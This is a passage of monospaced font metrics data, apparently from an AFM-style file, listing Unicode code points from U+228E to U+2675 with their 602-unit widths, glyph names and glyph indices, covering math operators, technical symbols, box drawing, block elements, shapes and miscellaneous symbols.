U 8846 ; WX 602 ; N uni228E ; G 2198
U 8847 ; WX 602 ; N uni228F ; G 2199
U 8848 ; WX 602 ; N uni2290 ; G 2200
U 8849 ; WX 602 ; N uni2291 ; G 2201
U 8850 ; WX 602 ; N uni2292 ; G 2202
U 8851 ; WX 602 ; N uni2293 ; G 2203
U 8852 ; WX 602 ; N uni2294 ; G 2204
U 8853 ; WX 602 ; N circleplus ; G 2205
U 8854 ; WX 602 ; N uni2296 ; G 2206
U 8855 ; WX 602 ; N circlemultiply ; G 2207
U 8856 ; WX 602 ; N uni2298 ; G 2208
U 8857 ; WX 602 ; N uni2299 ; G 2209
U 8858 ; WX 602 ; N uni229A ; G 2210
U 8859 ; WX 602 ; N uni229B ; G 2211
U 8860 ; WX 602 ; N uni229C ; G 2212
U 8861 ; WX 602 ; N uni229D ; G 2213
U 8862 ; WX 602 ; N uni229E ; G 2214
U 8863 ; WX 602 ; N uni229F ; G 2215
U 8864 ; WX 602 ; N uni22A0 ; G 2216
U 8865 ; WX 602 ; N uni22A1 ; G 2217
U 8866 ; WX 602 ; N uni22A2 ; G 2218
U 8867 ; WX 602 ; N uni22A3 ; G 2219
U 8868 ; WX 602 ; N uni22A4 ; G 2220
U 8869 ; WX 602 ; N perpendicular ; G 2221
U 8882 ; WX 602 ; N uni22B2 ; G 2222
U 8883 ; WX 602 ; N uni22B3 ; G 2223
U 8884 ; WX 602 ; N uni22B4 ; G 2224
U 8885 ; WX 602 ; N uni22B5 ; G 2225
U 8888 ; WX 602 ; N uni22B8 ; G 2226
U 8898 ; WX 602 ; N uni22C2 ; G 2227
U 8899 ; WX 602 ; N uni22C3 ; G 2228
U 8900 ; WX 602 ; N uni22C4 ; G 2229
U 8901 ; WX 602 ; N dotmath ; G 2230
U 8902 ; WX 602 ; N uni22C6 ; G 2231
U 8909 ; WX 602 ; N uni22CD ; G 2232
U 8910 ; WX 602 ; N uni22CE ; G 2233
U 8911 ; WX 602 ; N uni22CF ; G 2234
U 8912 ; WX 602 ; N uni22D0 ; G 2235
U 8913 ; WX 602 ; N uni22D1 ; G 2236
U 8922 ; WX 602 ; N uni22DA ; G 2237
U 8923 ; WX 602 ; N uni22DB ; G 2238
U 8924 ; WX 602 ; N uni22DC ; G 2239
U 8925 ; WX 602 ; N uni22DD ; G 2240
U 8926 ; WX 602 ; N uni22DE ; G 2241
U 8927 ; WX 602 ; N uni22DF ; G 2242
U 8928 ; WX 602 ; N uni22E0 ; G 2243
U 8929 ; WX 602 ; N uni22E1 ; G 2244
U 8930 ; WX 602 ; N uni22E2 ; G 2245
U 8931 ; WX 602 ; N uni22E3 ; G 2246
U 8932 ; WX 602 ; N uni22E4 ; G 2247
U 8933 ; WX 602 ; N uni22E5 ; G 2248
U 8934 ; WX 602 ; N uni22E6 ; G 2249
U 8935 ; WX 602 ; N uni22E7 ; G 2250
U 8936 ; WX 602 ; N uni22E8 ; G 2251
U 8937 ; WX 602 ; N uni22E9 ; G 2252
U 8943 ; WX 602 ; N uni22EF ; G 2253
U 8960 ; WX 602 ; N uni2300 ; G 2254
U 8961 ; WX 602 ; N uni2301 ; G 2255
U 8962 ; WX 602 ; N house ; G 2256
U 8963 ; WX 602 ; N uni2303 ; G 2257
U 8964 ; WX 602 ; N uni2304 ; G 2258
U 8965 ; WX 602 ; N uni2305 ; G 2259
U 8966 ; WX 602 ; N uni2306 ; G 2260
U 8968 ; WX 602 ; N uni2308 ; G 2261
U 8969 ; WX 602 ; N uni2309 ; G 2262
U 8970 ; WX 602 ; N uni230A ; G 2263
U 8971 ; WX 602 ; N uni230B ; G 2264
U 8972 ; WX 602 ; N uni230C ; G 2265
U 8973 ; WX 602 ; N uni230D ; G 2266
U 8974 ; WX 602 ; N uni230E ; G 2267
U 8975 ; WX 602 ; N uni230F ; G 2268
U 8976 ; WX 602 ; N revlogicalnot ; G 2269
U 8977 ; WX 602 ; N uni2311 ; G 2270
U 8978 ; WX 602 ; N uni2312 ; G 2271
U 8979 ; WX 602 ; N uni2313 ; G 2272
U 8980 ; WX 602 ; N uni2314 ; G 2273
U 8981 ; WX 602 ; N uni2315 ; G 2274
U 8984 ; WX 602 ; N uni2318 ; G 2275
U 8985 ; WX 602 ; N uni2319 ; G 2276
U 8988 ; WX 602 ; N uni231C ; G 2277
U 8989 ; WX 602 ; N uni231D ; G 2278
U 8990 ; WX 602 ; N uni231E ; G 2279
U 8991 ; WX 602 ; N uni231F ; G 2280
U 8992 ; WX 602 ; N integraltp ; G 2281
U 8993 ; WX 602 ; N integralbt ; G 2282
U 8997 ; WX 602 ; N uni2325 ; G 2283
U 8998 ; WX 602 ; N uni2326 ; G 2284
U 8999 ; WX 602 ; N uni2327 ; G 2285
U 9000 ; WX 602 ; N uni2328 ; G 2286
U 9003 ; WX 602 ; N uni232B ; G 2287
U 9013 ; WX 602 ; N uni2335 ; G 2288
U 9014 ; WX 602 ; N uni2336 ; G 2289
U 9015 ; WX 602 ; N uni2337 ; G 2290
U 9016 ; WX 602 ; N uni2338 ; G 2291
U 9017 ; WX 602 ; N uni2339 ; G 2292
U 9018 ; WX 602 ; N uni233A ; G 2293
U 9019 ; WX 602 ; N uni233B ; G 2294
U 9020 ; WX 602 ; N uni233C ; G 2295
U 9021 ; WX 602 ; N uni233D ; G 2296
U 9022 ; WX 602 ; N uni233E ; G 2297
U 9023 ; WX 602 ; N uni233F ; G 2298
U 9024 ; WX 602 ; N uni2340 ; G 2299
U 9025 ; WX 602 ; N uni2341 ; G 2300
U 9026 ; WX 602 ; N uni2342 ; G 2301
U 9027 ; WX 602 ; N uni2343 ; G 2302
U 9028 ; WX 602 ; N uni2344 ; G 2303
U 9029 ; WX 602 ; N uni2345 ; G 2304
U 9030 ; WX 602 ; N uni2346 ; G 2305
U 9031 ; WX 602 ; N uni2347 ; G 2306
U 9032 ; WX 602 ; N uni2348 ; G 2307
U 9033 ; WX 602 ; N uni2349 ; G 2308
U 9034 ; WX 602 ; N uni234A ; G 2309
U 9035 ; WX 602 ; N uni234B ; G 2310
U 9036 ; WX 602 ; N uni234C ; G 2311
U 9037 ; WX 602 ; N uni234D ; G 2312
U 9038 ; WX 602 ; N uni234E ; G 2313
U 9039 ; WX 602 ; N uni234F ; G 2314
U 9040 ; WX 602 ; N uni2350 ; G 2315
U 9041 ; WX 602 ; N uni2351 ; G 2316
U 9042 ; WX 602 ; N uni2352 ; G 2317
U 9043 ; WX 602 ; N uni2353 ; G 2318
U 9044 ; WX 602 ; N uni2354 ; G 2319
U 9045 ; WX 602 ; N uni2355 ; G 2320
U 9046 ; WX 602 ; N uni2356 ; G 2321
U 9047 ; WX 602 ; N uni2357 ; G 2322
U 9048 ; WX 602 ; N uni2358 ; G 2323
U 9049 ; WX 602 ; N uni2359 ; G 2324
U 9050 ; WX 602 ; N uni235A ; G 2325
U 9051 ; WX 602 ; N uni235B ; G 2326
U 9052 ; WX 602 ; N uni235C ; G 2327
U 9053 ; WX 602 ; N uni235D ; G 2328
U 9054 ; WX 602 ; N uni235E ; G 2329
U 9055 ; WX 602 ; N uni235F ; G 2330
U 9056 ; WX 602 ; N uni2360 ; G 2331
U 9057 ; WX 602 ; N uni2361 ; G 2332
U 9058 ; WX 602 ; N uni2362 ; G 2333
U 9059 ; WX 602 ; N uni2363 ; G 2334
U 9060 ; WX 602 ; N uni2364 ; G 2335
U 9061 ; WX 602 ; N uni2365 ; G 2336
U 9062 ; WX 602 ; N uni2366 ; G 2337
U 9063 ; WX 602 ; N uni2367 ; G 2338
U 9064 ; WX 602 ; N uni2368 ; G 2339
U 9065 ; WX 602 ; N uni2369 ; G 2340
U 9066 ; WX 602 ; N uni236A ; G 2341
U 9067 ; WX 602 ; N uni236B ; G 2342
U 9068 ; WX 602 ; N uni236C ; G 2343
U 9069 ; WX 602 ; N uni236D ; G 2344
U 9070 ; WX 602 ; N uni236E ; G 2345
U 9071 ; WX 602 ; N uni236F ; G 2346
U 9072 ; WX 602 ; N uni2370 ; G 2347
U 9073 ; WX 602 ; N uni2371 ; G 2348
U 9074 ; WX 602 ; N uni2372 ; G 2349
U 9075 ; WX 602 ; N uni2373 ; G 2350
U 9076 ; WX 602 ; N uni2374 ; G 2351
U 9077 ; WX 602 ; N uni2375 ; G 2352
U 9078 ; WX 602 ; N uni2376 ; G 2353
U 9079 ; WX 602 ; N uni2377 ; G 2354
U 9080 ; WX 602 ; N uni2378 ; G 2355
U 9081 ; WX 602 ; N uni2379 ; G 2356
U 9082 ; WX 602 ; N uni237A ; G 2357
U 9085 ; WX 602 ; N uni237D ; G 2358
U 9088 ; WX 602 ; N uni2380 ; G 2359
U 9089 ; WX 602 ; N uni2381 ; G 2360
U 9090 ; WX 602 ; N uni2382 ; G 2361
U 9091 ; WX 602 ; N uni2383 ; G 2362
U 9096 ; WX 602 ; N uni2388 ; G 2363
U 9097 ; WX 602 ; N uni2389 ; G 2364
U 9098 ; WX 602 ; N uni238A ; G 2365
U 9099 ; WX 602 ; N uni238B ; G 2366
U 9109 ; WX 602 ; N uni2395 ; G 2367
U 9115 ; WX 602 ; N uni239B ; G 2368
U 9116 ; WX 602 ; N uni239C ; G 2369
U 9117 ; WX 602 ; N uni239D ; G 2370
U 9118 ; WX 602 ; N uni239E ; G 2371
U 9119 ; WX 602 ; N uni239F ; G 2372
U 9120 ; WX 602 ; N uni23A0 ; G 2373
U 9121 ; WX 602 ; N uni23A1 ; G 2374
U 9122 ; WX 602 ; N uni23A2 ; G 2375
U 9123 ; WX 602 ; N uni23A3 ; G 2376
U 9124 ; WX 602 ; N uni23A4 ; G 2377
U 9125 ; WX 602 ; N uni23A5 ; G 2378
U 9126 ; WX 602 ; N uni23A6 ; G 2379
U 9127 ; WX 602 ; N uni23A7 ; G 2380
U 9128 ; WX 602 ; N uni23A8 ; G 2381
U 9129 ; WX 602 ; N uni23A9 ; G 2382
U 9130 ; WX 602 ; N uni23AA ; G 2383
U 9131 ; WX 602 ; N uni23AB ; G 2384
U 9132 ; WX 602 ; N uni23AC ; G 2385
U 9133 ; WX 602 ; N uni23AD ; G 2386
U 9134 ; WX 602 ; N uni23AE ; G 2387
U 9166 ; WX 602 ; N uni23CE ; G 2388
U 9167 ; WX 602 ; N uni23CF ; G 2389
U 9251 ; WX 602 ; N uni2423 ; G 2390
U 9472 ; WX 602 ; N SF100000 ; G 2391
U 9473 ; WX 602 ; N uni2501 ; G 2392
U 9474 ; WX 602 ; N SF110000 ; G 2393
U 9475 ; WX 602 ; N uni2503 ; G 2394
U 9476 ; WX 602 ; N uni2504 ; G 2395
U 9477 ; WX 602 ; N uni2505 ; G 2396
U 9478 ; WX 602 ; N uni2506 ; G 2397
U 9479 ; WX 602 ; N uni2507 ; G 2398
U 9480 ; WX 602 ; N uni2508 ; G 2399
U 9481 ; WX 602 ; N uni2509 ; G 2400
U 9482 ; WX 602 ; N uni250A ; G 2401
U 9483 ; WX 602 ; N uni250B ; G 2402
U 9484 ; WX 602 ; N SF010000 ; G 2403
U 9485 ; WX 602 ; N uni250D ; G 2404
U 9486 ; WX 602 ; N uni250E ; G 2405
U 9487 ; WX 602 ; N uni250F ; G 2406
U 9488 ; WX 602 ; N SF030000 ; G 2407
U 9489 ; WX 602 ; N uni2511 ; G 2408
U 9490 ; WX 602 ; N uni2512 ; G 2409
U 9491 ; WX 602 ; N uni2513 ; G 2410
U 9492 ; WX 602 ; N SF020000 ; G 2411
U 9493 ; WX 602 ; N uni2515 ; G 2412
U 9494 ; WX 602 ; N uni2516 ; G 2413
U 9495 ; WX 602 ; N uni2517 ; G 2414
U 9496 ; WX 602 ; N SF040000 ; G 2415
U 9497 ; WX 602 ; N uni2519 ; G 2416
U 9498 ; WX 602 ; N uni251A ; G 2417
U 9499 ; WX 602 ; N uni251B ; G 2418
U 9500 ; WX 602 ; N SF080000 ; G 2419
U 9501 ; WX 602 ; N uni251D ; G 2420
U 9502 ; WX 602 ; N uni251E ; G 2421
U 9503 ; WX 602 ; N uni251F ; G 2422
U 9504 ; WX 602 ; N uni2520 ; G 2423
U 9505 ; WX 602 ; N uni2521 ; G 2424
U 9506 ; WX 602 ; N uni2522 ; G 2425
U 9507 ; WX 602 ; N uni2523 ; G 2426
U 9508 ; WX 602 ; N SF090000 ; G 2427
U 9509 ; WX 602 ; N uni2525 ; G 2428
U 9510 ; WX 602 ; N uni2526 ; G 2429
U 9511 ; WX 602 ; N uni2527 ; G 2430
U 9512 ; WX 602 ; N uni2528 ; G 2431
U 9513 ; WX 602 ; N uni2529 ; G 2432
U 9514 ; WX 602 ; N uni252A ; G 2433
U 9515 ; WX 602 ; N uni252B ; G 2434
U 9516 ; WX 602 ; N SF060000 ; G 2435
U 9517 ; WX 602 ; N uni252D ; G 2436
U 9518 ; WX 602 ; N uni252E ; G 2437
U 9519 ; WX 602 ; N uni252F ; G 2438
U 9520 ; WX 602 ; N uni2530 ; G 2439
U 9521 ; WX 602 ; N uni2531 ; G 2440
U 9522 ; WX 602 ; N uni2532 ; G 2441
U 9523 ; WX 602 ; N uni2533 ; G 2442
U 9524 ; WX 602 ; N SF070000 ; G 2443
U 9525 ; WX 602 ; N uni2535 ; G 2444
U 9526 ; WX 602 ; N uni2536 ; G 2445
U 9527 ; WX 602 ; N uni2537 ; G 2446
U 9528 ; WX 602 ; N uni2538 ; G 2447
U 9529 ; WX 602 ; N uni2539 ; G 2448
U 9530 ; WX 602 ; N uni253A ; G 2449
U 9531 ; WX 602 ; N uni253B ; G 2450
U 9532 ; WX 602 ; N SF050000 ; G 2451
U 9533 ; WX 602 ; N uni253D ; G 2452
U 9534 ; WX 602 ; N uni253E ; G 2453
U 9535 ; WX 602 ; N uni253F ; G 2454
U 9536 ; WX 602 ; N uni2540 ; G 2455
U 9537 ; WX 602 ; N uni2541 ; G 2456
U 9538 ; WX 602 ; N uni2542 ; G 2457
U 9539 ; WX 602 ; N uni2543 ; G 2458
U 9540 ; WX 602 ; N uni2544 ; G 2459
U 9541 ; WX 602 ; N uni2545 ; G 2460
U 9542 ; WX 602 ; N uni2546 ; G 2461
U 9543 ; WX 602 ; N uni2547 ; G 2462
U 9544 ; WX 602 ; N uni2548 ; G 2463
U 9545 ; WX 602 ; N uni2549 ; G 2464
U 9546 ; WX 602 ; N uni254A ; G 2465
U 9547 ; WX 602 ; N uni254B ; G 2466
U 9548 ; WX 602 ; N uni254C ; G 2467
U 9549 ; WX 602 ; N uni254D ; G 2468
U 9550 ; WX 602 ; N uni254E ; G 2469
U 9551 ; WX 602 ; N uni254F ; G 2470
U 9552 ; WX 602 ; N SF430000 ; G 2471
U 9553 ; WX 602 ; N SF240000 ; G 2472
U 9554 ; WX 602 ; N SF510000 ; G 2473
U 9555 ; WX 602 ; N SF520000 ; G 2474
U 9556 ; WX 602 ; N SF390000 ; G 2475
U 9557 ; WX 602 ; N SF220000 ; G 2476
U 9558 ; WX 602 ; N SF210000 ; G 2477
U 9559 ; WX 602 ; N SF250000 ; G 2478
U 9560 ; WX 602 ; N SF500000 ; G 2479
U 9561 ; WX 602 ; N SF490000 ; G 2480
U 9562 ; WX 602 ; N SF380000 ; G 2481
U 9563 ; WX 602 ; N SF280000 ; G 2482
U 9564 ; WX 602 ; N SF270000 ; G 2483
U 9565 ; WX 602 ; N SF260000 ; G 2484
U 9566 ; WX 602 ; N SF360000 ; G 2485
U 9567 ; WX 602 ; N SF370000 ; G 2486
U 9568 ; WX 602 ; N SF420000 ; G 2487
U 9569 ; WX 602 ; N SF190000 ; G 2488
U 9570 ; WX 602 ; N SF200000 ; G 2489
U 9571 ; WX 602 ; N SF230000 ; G 2490
U 9572 ; WX 602 ; N SF470000 ; G 2491
U 9573 ; WX 602 ; N SF480000 ; G 2492
U 9574 ; WX 602 ; N SF410000 ; G 2493
U 9575 ; WX 602 ; N SF450000 ; G 2494
U 9576 ; WX 602 ; N SF460000 ; G 2495
U 9577 ; WX 602 ; N SF400000 ; G 2496
U 9578 ; WX 602 ; N SF540000 ; G 2497
U 9579 ; WX 602 ; N SF530000 ; G 2498
U 9580 ; WX 602 ; N SF440000 ; G 2499
U 9581 ; WX 602 ; N uni256D ; G 2500
U 9582 ; WX 602 ; N uni256E ; G 2501
U 9583 ; WX 602 ; N uni256F ; G 2502
U 9584 ; WX 602 ; N uni2570 ; G 2503
U 9585 ; WX 602 ; N uni2571 ; G 2504
U 9586 ; WX 602 ; N uni2572 ; G 2505
U 9587 ; WX 602 ; N uni2573 ; G 2506
U 9588 ; WX 602 ; N uni2574 ; G 2507
U 9589 ; WX 602 ; N uni2575 ; G 2508
U 9590 ; WX 602 ; N uni2576 ; G 2509
U 9591 ; WX 602 ; N uni2577 ; G 2510
U 9592 ; WX 602 ; N uni2578 ; G 2511
U 9593 ; WX 602 ; N uni2579 ; G 2512
U 9594 ; WX 602 ; N uni257A ; G 2513
U 9595 ; WX 602 ; N uni257B ; G 2514
U 9596 ; WX 602 ; N uni257C ; G 2515
U 9597 ; WX 602 ; N uni257D ; G 2516
U 9598 ; WX 602 ; N uni257E ; G 2517
U 9599 ; WX 602 ; N uni257F ; G 2518
U 9600 ; WX 602 ; N upblock ; G 2519
U 9601 ; WX 602 ; N uni2581 ; G 2520
U 9602 ; WX 602 ; N uni2582 ; G 2521
U 9603 ; WX 602 ; N uni2583 ; G 2522
U 9604 ; WX 602 ; N dnblock ; G 2523
U 9605 ; WX 602 ; N uni2585 ; G 2524
U 9606 ; WX 602 ; N uni2586 ; G 2525
U 9607 ; WX 602 ; N uni2587 ; G 2526
U 9608 ; WX 602 ; N block ; G 2527
U 9609 ; WX 602 ; N uni2589 ; G 2528
U 9610 ; WX 602 ; N uni258A ; G 2529
U 9611 ; WX 602 ; N uni258B ; G 2530
U 9612 ; WX 602 ; N lfblock ; G 2531
U 9613 ; WX 602 ; N uni258D ; G 2532
U 9614 ; WX 602 ; N uni258E ; G 2533
U 9615 ; WX 602 ; N uni258F ; G 2534
U 9616 ; WX 602 ; N rtblock ; G 2535
U 9617 ; WX 602 ; N ltshade ; G 2536
U 9618 ; WX 602 ; N shade ; G 2537
U 9619 ; WX 602 ; N dkshade ; G 2538
U 9620 ; WX 602 ; N uni2594 ; G 2539
U 9621 ; WX 602 ; N uni2595 ; G 2540
U 9622 ; WX 602 ; N uni2596 ; G 2541
U 9623 ; WX 602 ; N uni2597 ; G 2542
U 9624 ; WX 602 ; N uni2598 ; G 2543
U 9625 ; WX 602 ; N uni2599 ; G 2544
U 9626 ; WX 602 ; N uni259A ; G 2545
U 9627 ; WX 602 ; N uni259B ; G 2546
U 9628 ; WX 602 ; N uni259C ; G 2547
U 9629 ; WX 602 ; N uni259D ; G 2548
U 9630 ; WX 602 ; N uni259E ; G 2549
U 9631 ; WX 602 ; N uni259F ; G 2550
U 9632 ; WX 602 ; N filledbox ; G 2551
U 9633 ; WX 602 ; N H22073 ; G 2552
U 9634 ; WX 602 ; N uni25A2 ; G 2553
U 9635 ; WX 602 ; N uni25A3 ; G 2554
U 9636 ; WX 602 ; N uni25A4 ; G 2555
U 9637 ; WX 602 ; N uni25A5 ; G 2556
U 9638 ; WX 602 ; N uni25A6 ; G 2557
U 9639 ; WX 602 ; N uni25A7 ; G 2558
U 9640 ; WX 602 ; N uni25A8 ; G 2559
U 9641 ; WX 602 ; N uni25A9 ; G 2560
U 9642 ; WX 602 ; N H18543 ; G 2561
U 9643 ; WX 602 ; N H18551 ; G 2562
U 9644 ; WX 602 ; N filledrect ; G 2563
U 9645 ; WX 602 ; N uni25AD ; G 2564
U 9646 ; WX 602 ; N uni25AE ; G 2565
U 9647 ; WX 602 ; N uni25AF ; G 2566
U 9648 ; WX 602 ; N uni25B0 ; G 2567
U 9649 ; WX 602 ; N uni25B1 ; G 2568
U 9650 ; WX 602 ; N triagup ; G 2569
U 9651 ; WX 602 ; N uni25B3 ; G 2570
U 9652 ; WX 602 ; N uni25B4 ; G 2571
U 9653 ; WX 602 ; N uni25B5 ; G 2572
U 9654 ; WX 602 ; N uni25B6 ; G 2573
U 9655 ; WX 602 ; N uni25B7 ; G 2574
U 9656 ; WX 602 ; N uni25B8 ; G 2575
U 9657 ; WX 602 ; N uni25B9 ; G 2576
U 9658 ; WX 602 ; N triagrt ; G 2577
U 9659 ; WX 602 ; N uni25BB ; G 2578
U 9660 ; WX 602 ; N triagdn ; G 2579
U 9661 ; WX 602 ; N uni25BD ; G 2580
U 9662 ; WX 602 ; N uni25BE ; G 2581
U 9663 ; WX 602 ; N uni25BF ; G 2582
U 9664 ; WX 602 ; N uni25C0 ; G 2583
U 9665 ; WX 602 ; N uni25C1 ; G 2584
U 9666 ; WX 602 ; N uni25C2 ; G 2585
U 9667 ; WX 602 ; N uni25C3 ; G 2586
U 9668 ; WX 602 ; N triaglf ; G 2587
U 9669 ; WX 602 ; N uni25C5 ; G 2588
U 9670 ; WX 602 ; N uni25C6 ; G 2589
U 9671 ; WX 602 ; N uni25C7 ; G 2590
U 9672 ; WX 602 ; N uni25C8 ; G 2591
U 9673 ; WX 602 ; N uni25C9 ; G 2592
U 9674 ; WX 602 ; N lozenge ; G 2593
U 9675 ; WX 602 ; N circle ; G 2594
U 9676 ; WX 602 ; N uni25CC ; G 2595
U 9677 ; WX 602 ; N uni25CD ; G 2596
U 9678 ; WX 602 ; N uni25CE ; G 2597
U 9679 ; WX 602 ; N H18533 ; G 2598
U 9680 ; WX 602 ; N uni25D0 ; G 2599
U 9681 ; WX 602 ; N uni25D1 ; G 2600
U 9682 ; WX 602 ; N uni25D2 ; G 2601
U 9683 ; WX 602 ; N uni25D3 ; G 2602
U 9684 ; WX 602 ; N uni25D4 ; G 2603
U 9685 ; WX 602 ; N uni25D5 ; G 2604
U 9686 ; WX 602 ; N uni25D6 ; G 2605
U 9687 ; WX 602 ; N uni25D7 ; G 2606
U 9688 ; WX 602 ; N invbullet ; G 2607
U 9689 ; WX 602 ; N invcircle ; G 2608
U 9690 ; WX 602 ; N uni25DA ; G 2609
U 9691 ; WX 602 ; N uni25DB ; G 2610
U 9692 ; WX 602 ; N uni25DC ; G 2611
U 9693 ; WX 602 ; N uni25DD ; G 2612
U 9694 ; WX 602 ; N uni25DE ; G 2613
U 9695 ; WX 602 ; N uni25DF ; G 2614
U 9696 ; WX 602 ; N uni25E0 ; G 2615
U 9697 ; WX 602 ; N uni25E1 ; G 2616
U 9698 ; WX 602 ; N uni25E2 ; G 2617
U 9699 ; WX 602 ; N uni25E3 ; G 2618
U 9700 ; WX 602 ; N uni25E4 ; G 2619
U 9701 ; WX 602 ; N uni25E5 ; G 2620
U 9702 ; WX 602 ; N openbullet ; G 2621
U 9703 ; WX 602 ; N uni25E7 ; G 2622
U 9704 ; WX 602 ; N uni25E8 ; G 2623
U 9705 ; WX 602 ; N uni25E9 ; G 2624
U 9706 ; WX 602 ; N uni25EA ; G 2625
U 9707 ; WX 602 ; N uni25EB ; G 2626
U 9708 ; WX 602 ; N uni25EC ; G 2627
U 9709 ; WX 602 ; N uni25ED ; G 2628
U 9710 ; WX 602 ; N uni25EE ; G 2629
U 9711 ; WX 602 ; N uni25EF ; G 2630
U 9712 ; WX 602 ; N uni25F0 ; G 2631
U 9713 ; WX 602 ; N uni25F1 ; G 2632
U 9714 ; WX 602 ; N uni25F2 ; G 2633
U 9715 ; WX 602 ; N uni25F3 ; G 2634
U 9716 ; WX 602 ; N uni25F4 ; G 2635
U 9717 ; WX 602 ; N uni25F5 ; G 2636
U 9718 ; WX 602 ; N uni25F6 ; G 2637
U 9719 ; WX 602 ; N uni25F7 ; G 2638
U 9720 ; WX 602 ; N uni25F8 ; G 2639
U 9721 ; WX 602 ; N uni25F9 ; G 2640
U 9722 ; WX 602 ; N uni25FA ; G 2641
U 9723 ; WX 602 ; N uni25FB ; G 2642
U 9724 ; WX 602 ; N uni25FC ; G 2643
U 9725 ; WX 602 ; N uni25FD ; G 2644
U 9726 ; WX 602 ; N uni25FE ; G 2645
U 9727 ; WX 602 ; N uni25FF ; G 2646
U 9728 ; WX 602 ; N uni2600 ; G 2647
U 9729 ; WX 602 ; N uni2601 ; G 2648
U 9730 ; WX 602 ; N uni2602 ; G 2649
U 9731 ; WX 602 ; N uni2603 ; G 2650
U 9732 ; WX 602 ; N uni2604 ; G 2651
U 9733 ; WX 602 ; N uni2605 ; G 2652
U 9734 ; WX 602 ; N uni2606 ; G 2653
U 9735 ; WX 602 ; N uni2607 ; G 2654
U 9736 ; WX 602 ; N uni2608 ; G 2655
U 9737 ; WX 602 ; N uni2609 ; G 2656
U 9738 ; WX 602 ; N uni260A ; G 2657
U 9739 ; WX 602 ; N uni260B ; G 2658
U 9740 ; WX 602 ; N uni260C ; G 2659
U 9741 ; WX 602 ; N uni260D ; G 2660
U 9742 ; WX 602 ; N uni260E ; G 2661
U 9743 ; WX 602 ; N uni260F ; G 2662
U 9744 ; WX 602 ; N uni2610 ; G 2663
U 9745 ; WX 602 ; N uni2611 ; G 2664
U 9746 ; WX 602 ; N uni2612 ; G 2665
U 9747 ; WX 602 ; N uni2613 ; G 2666
U 9748 ; WX 602 ; N uni2614 ; G 2667
U 9749 ; WX 602 ; N uni2615 ; G 2668
U 9750 ; WX 602 ; N uni2616 ; G 2669
U 9751 ; WX 602 ; N uni2617 ; G 2670
U 9752 ; WX 602 ; N uni2618 ; G 2671
U 9753 ; WX 602 ; N uni2619 ; G 2672
U 9754 ; WX 602 ; N uni261A ; G 2673
U 9755 ; WX 602 ; N uni261B ; G 2674
U 9756 ; WX 602 ; N uni261C ; G 2675
U 9757 ; WX 602 ; N uni261D ; G 2676
U 9758 ; WX 602 ; N uni261E ; G 2677
U 9759 ; WX 602 ; N uni261F ; G 2678
U 9760 ; WX 602 ; N uni2620 ; G 2679
U 9761 ; WX 602 ; N uni2621 ; G 2680
U 9762 ; WX 602 ; N uni2622 ; G 2681
U 9763 ; WX 602 ; N uni2623 ; G 2682
U 9764 ; WX 602 ; N uni2624 ; G 2683
U 9765 ; WX 602 ; N uni2625 ; G 2684
U 9766 ; WX 602 ; N uni2626 ; G 2685
U 9767 ; WX 602 ; N uni2627 ; G 2686
U 9768 ; WX 602 ; N uni2628 ; G 2687
U 9769 ; WX 602 ; N uni2629 ; G 2688
U 9770 ; WX 602 ; N uni262A ; G 2689
U 9771 ; WX 602 ; N uni262B ; G 2690
U 9772 ; WX 602 ; N uni262C ; G 2691
U 9773 ; WX 602 ; N uni262D ; G 2692
U 9774 ; WX 602 ; N uni262E ; G 2693
U 9775 ; WX 602 ; N uni262F ; G 2694
U 9784 ; WX 602 ; N uni2638 ; G 2695
U 9785 ; WX 602 ; N uni2639 ; G 2696
U 9786 ; WX 602 ; N smileface ; G 2697
U 9787 ; WX 602 ; N invsmileface ; G 2698
U 9788 ; WX 602 ; N sun ; G 2699
U 9789 ; WX 602 ; N uni263D ; G 2700
U 9790 ; WX 602 ; N uni263E ; G 2701
U 9791 ; WX 602 ; N uni263F ; G 2702
U 9792 ; WX 602 ; N female ; G 2703
U 9793 ; WX 602 ; N uni2641 ; G 2704
U 9794 ; WX 602 ; N male ; G 2705
U 9795 ; WX 602 ; N uni2643 ; G 2706
U 9796 ; WX 602 ; N uni2644 ; G 2707
U 9797 ; WX 602 ; N uni2645 ; G 2708
U 9798 ; WX 602 ; N uni2646 ; G 2709
U 9799 ; WX 602 ; N uni2647 ; G 2710
U 9800 ; WX 602 ; N uni2648 ; G 2711
U 9801 ; WX 602 ; N uni2649 ; G 2712
U 9802 ; WX 602 ; N uni264A ; G 2713
U 9803 ; WX 602 ; N uni264B ; G 2714
U 9804 ; WX 602 ; N uni264C ; G 2715
U 9805 ; WX 602 ; N uni264D ; G 2716
U 9806 ; WX 602 ; N uni264E ; G 2717
U 9807 ; WX 602 ; N uni264F ; G 2718
U 9808 ; WX 602 ; N uni2650 ; G 2719
U 9809 ; WX 602 ; N uni2651 ; G 2720
U 9810 ; WX 602 ; N uni2652 ; G 2721
U 9811 ; WX 602 ; N uni2653 ; G 2722
U 9812 ; WX 602 ; N uni2654 ; G 2723
U 9813 ; WX 602 ; N uni2655 ; G 2724
U 9814 ; WX 602 ; N uni2656 ; G 2725
U 9815 ; WX 602 ; N uni2657 ; G 2726
U 9816 ; WX 602 ; N uni2658 ; G 2727
U 9817 ; WX 602 ; N uni2659 ; G 2728
U 9818 ; WX 602 ; N uni265A ; G 2729
U 9819 ; WX 602 ; N uni265B ; G 2730
U 9820 ; WX 602 ; N uni265C ; G 2731
U 9821 ; WX 602 ; N uni265D ; G 2732
U 9822 ; WX 602 ; N uni265E ; G 2733
U 9823 ; WX 602 ; N uni265F ; G 2734
U 9824 ; WX 602 ; N spade ; G 2735
U 9825 ; WX 602 ; N uni2661 ; G 2736
U 9826 ; WX 602 ; N uni2662 ; G 2737
U 9827 ; WX 602 ; N club ; G 2738
U 9828 ; WX 602 ; N uni2664 ; G 2739
U 9829 ; WX 602 ; N heart ; G 2740
U 9830 ; WX 602 ; N diamond ; G 2741
U 9831 ; WX 602 ; N uni2667 ; G 2742
U 9832 ; WX 602 ; N uni2668 ; G 2743
U 9833 ; WX 602 ; N uni2669 ; G 2744
U 9834 ; WX 602 ; N musicalnote ; G 2745
U 9835 ; WX 602 ; N musicalnotedbl ; G 2746
U 9836 ; WX 602 ; N uni266C ; G 2747
U 9837 ; WX 602 ; N uni266D ; G 2748
U 9838 ; WX 602 ; N uni266E ; G 2749
U 9839 ; WX 602 ; N uni266F ; G 2750
U 9840 ; WX 602 ; N uni2670 ; G 2751
U 9841 ; WX 602 ; N uni2671 ; G 2752
U 9842 ; WX 602 ; N uni2672 ; G 2753
U 9843 ; WX 602 ; N uni2673 ; G 2754
U 9844 ; WX 602 ; N uni2674 ; G 2755
U 9845 ; WX 602 ; N uni2675 ; G 2756
